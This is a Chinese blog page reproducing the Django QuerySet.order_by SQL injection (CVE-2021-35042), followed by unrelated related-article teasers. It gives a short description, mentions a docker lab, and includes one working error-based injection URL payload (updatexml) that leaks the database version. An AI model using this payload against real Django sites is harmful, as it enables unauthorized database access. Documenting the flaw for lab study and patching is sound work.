Django QuerySet.order_by SQL注入漏洞（CVE-2021-35042）

漏洞描述

Django 于 2021年7月1日发布了一个安全更新，修复了函数QuerySet.order_by中的 SQL 注入漏洞。

参考链接：

  • Django security releases issued: 3.2.5 and 3.1.13 | Weblog | Django

该漏洞需要开发人员使用order_by功能。此外，还可以控制查询集的输入。

漏洞环境及利用

搭建docker环境

payload

/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@version)),1)%23

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/185084.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

RabbitMQ 安装（在docker容器中安装）

RabbitMQ 安装（在docker容器中安装）

为什么要用？ RabbitMQ是一个开源的消息代理和队列服务器，主要用于在不同的应用程序之间传递消息。它实现了高级消息队列协议（AMQP），并提供了一种异步协作机制，以帮助提高系统的性能和扩展性。 RabbitMQ的作…
阅读更多...
10月，1Panel开源面板项目收到了这些评论

10月，1Panel开源面板项目收到了这些评论

2023年10月20日，1Panel开源面板（https://github.com/1Panel-dev）项目发布了题为《9月，1Panel开源面板收到了这些评论》的社区评论合集。在该文章的评论区，很多社区用户跟帖发表了自己对1Panel开源项目的使用感受和意见…
阅读更多...
C/C++ 实现Socket交互式服务端

C/C++ 实现Socket交互式服务端

在 Windows 操作系统中，原生提供了强大的网络编程支持，允许开发者使用 Socket API 进行网络通信，通过 Socket API，开发者可以创建、连接、发送和接收数据，实现网络通信。本文将深入探讨如何通过调用原生网络 API 实现同…
阅读更多...
Excel动态选择某一行/列的最后一个数据

Excel动态选择某一行/列的最后一个数据

选择列的最后一个数据&#xff1a; 以A列为例&#xff0c;使用&#xff1a; LOOKUP(1,0/(A:A<>""),A:A)选择行的最后一个数据&#xff1a; 以第3行为例&#xff0c;使用&#xff1a; LOOKUP(1,0/(3:3<>""),3:3)示例程序 列最后一个数据&a…
阅读更多...
中电金信：守【政】创新，探路保险数字化转型“新范式”

中电金信：守【政】创新，探路保险数字化转型“新范式”

11月23日&#xff0c;CIIP2023中国保险科技创新合作大会在京举办。大会汇集保险科技领域行业专家、学者、国内外头部险企及保险科技公司负责人等各界人士&#xff0c;立足保险行业高质量发展和创新驱动理念&#xff0c;寻找行业数字化转型新动能、新视角&#xff0c;为保险科技…
阅读更多...
MySql使用游标批量更新字段为空的记录

MySql使用游标批量更新字段为空的记录

目的&#xff1a;因为工作中需要模拟大批量的测试数据、发现有部分历史数据中的唯一编号的字段内容为空&#xff0c;因此需要按顺序填充上对应的字段内容&#xff0c;经查询mysql使用游标方式能快速实现此需求。 具体操作步骤如下&#xff1a;打开Navicate for MySQL软件、连接…
阅读更多...
python中range函数的用法

python中range函数的用法

range() 是Python的一个内置函数。语法格式为&#xff1a;range(start, stop, step) start是初始值&#xff0c;stop是最终值&#xff0c;step是步长。range()函数仅适用于整数&#xff0c;所有参数都必须是整数。步长值可以为正数或负数&#xff0c;不得为零。使用range函数时…
阅读更多...
解决 Invalid bound statement (not found): XXXX 异常

解决 Invalid bound statement (not found): XXXX 异常

解决Invalid bound statement not found 异常 异常环境解决 异常环境 1、异常提示找不到 listQuery2方法 Caused by: org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.huaw.mapper.excel.ExcelWorkBookMapper.listQuery2 2、MyBatis…
阅读更多...
乐得瑞LDR6020 VR串流线方案：实现同时充电传输视频信号

乐得瑞LDR6020 VR串流线方案：实现同时充电传输视频信号

VR&#xff08;Virtual Reality&#xff09;&#xff0c;俗称虚拟现实技术&#xff0c;是一项具有巨大潜力的技术创新&#xff0c;正在以惊人的速度改变我们的生活方式和体验&#xff0c;利用专门设计的设备&#xff0c;如头戴式显示器&#xff08;VR头盔&#xff09;、手柄、定…
阅读更多...
MySQL的体系结构与SQL的执行流程

MySQL的体系结构与SQL的执行流程

文章目录 前言体系结构SQL语句的执行流程1、连接MySQL2、查询缓存3、解析SQL语句4、优化SQL语句5、执行SQL语句 总结 前言 如果你在使用MySQL时只会写sql语句的&#xff0c;那么你应该看一下《MySQL优化的底层逻辑》。如果你只了解到sql是如何优化的&#xff0c;那么你应该通过…
阅读更多...
哦？是吗｜兜兜转转，最后还是选择了盖雅排班系统

哦？是吗｜兜兜转转，最后还是选择了盖雅排班系统

在之前发布的和「人效案例集」中&#xff0c;我们为大家呈现了很多关于人效提升的理论方法&#xff0c;以及各家企业的人效提升提升实践。 回过头来&#xff0c;我们发现&#xff1a;排班管理渗透于人效九宫格之中&#xff0c;也因此成为很多企业人效提升的一个重要中介&#x…
阅读更多...
17 redis集群方案

17 redis集群方案

1、RedisCluster分布式集群解决方案 为了解决单机内存&#xff0c;并发等瓶颈&#xff0c;可使用此方案解决问题. Redis-cluster是一种服务器Sharding技术&#xff0c;Redis3.0以后版本正式提供支持。 这里的集群是指多主多从&#xff0c;不是一主多从。 2、redis集群的目标…
阅读更多...
java操作富文本插入到word模板

java操作富文本插入到word模板

最近项目有个需求&#xff0c;大致流程是前端保存富文本&#xff08;html的代码&#xff09;到数据库&#xff0c;后台需要将富文本代码转成带格式的文字&#xff0c;插入到word模板里&#xff0c;然后将word转成pdf&#xff0c;再由前端调用接口下载pdf文件&#xff01; 1、思…
阅读更多...
Joint Cross-Modal and Unimodal Features for RGB-D Salient Object Detection

Joint Cross-Modal and Unimodal Features for RGB-D Salient Object Detection

提出的模型 the outputs H i m _i^m im​ from the unimodal RGB or depth branch in MFFM FFM means ‘Feature Fusion Module’ 作者未提供代码
阅读更多...
基于Haclon的频域滤波原理

基于Haclon的频域滤波原理

傅里叶变换&#xff1a; 法国数学家傅立叶提出&#xff0c;在满足某些数学条件下&#xff0c;任何周期函数都可以表示为不同频率的正弦和或/余弦和的形式&#xff0c;每个正弦和/或余弦乘以不同的系数&#xff0c;甚至非周期的有限函数也可以用正弦和/或余弦乘以加权函数的积分…
阅读更多...
【Clang Static Analyzer 代码静态检测工具详细使用教程】

【Clang Static Analyzer 代码静态检测工具详细使用教程】

Clang Static Analyzer sudo apt-get install clang-tools scan-build cmake .. scan-build make -j4 编译完成之后会在终端提示在哪里查看报错文档： scan-build: 55 bugs found. scan-build: Run scan-view /tmp/scan-build-2023-11-24-150637-6472-1 to examine bug report…
阅读更多...
SOLIDWORKS 2024新功能之Electrical篇

SOLIDWORKS 2024新功能之Electrical篇

SOLIDWORKS 2024 Electrical篇目录概览 • 对齐零部件 • 更改多个导轨和线槽的长度 • 过滤辅助和附件零件 • 2D 机柜中的自动零件序号 • 移除制造商零件数据 • 重置未定义的宏变量 • 使用范围缩短列表 • SOLIDWORKS Electrical Schematic 增强功能 1、对齐零部件…
阅读更多...
FANUC机器人到达某个点位时，为什么不显示@符号？

FANUC机器人到达某个点位时，为什么不显示@符号？

FANUC机器人到达某个点位时，为什么不显示@符号？ 该功能由变量$MNDSP_POSCF = 0(不显示)/1(显示)/2(光标移动该行显示) 控制，该变量设置为不同的值，则启用对应的功能。 如下图所示，为该变量设置不同的值时的对比， 其他常用的系统变量可参考以下内容： 在R寄存器指定速度…
阅读更多...
UniWebView 版本3 版本4 版本5介绍

UniWebView 版本3 版本4 版本5介绍

一、介绍 UniWebView是iOS/Android上的web视图组件的包装器&#xff0c;所以运行时拥有与原生web相似性能。是针对Unity所写的插件&#xff0c;节省了项目的开发时间。 官网地址&#xff1a;UniWebView 二、下载&使用 1、下载 &#xff08;1&#xff09;、Unity Asset …
阅读更多...
高级IO—select

高级IO—select

高级IO—select 文章目录 高级IO—selectIO的概念 五种IO模型阻塞IO非阻塞IO信号驱动IOIO多路转接异步IO I/O多路转接之select IO的概念 通常指数据在内部存储器和外部存储器或其他周边设备之间的输入和输出。输入是系统接收的信号或数据&#xff0c;输出则是从其发送的信号或…
阅读更多...
最新文章

Copyright @ 2022~2023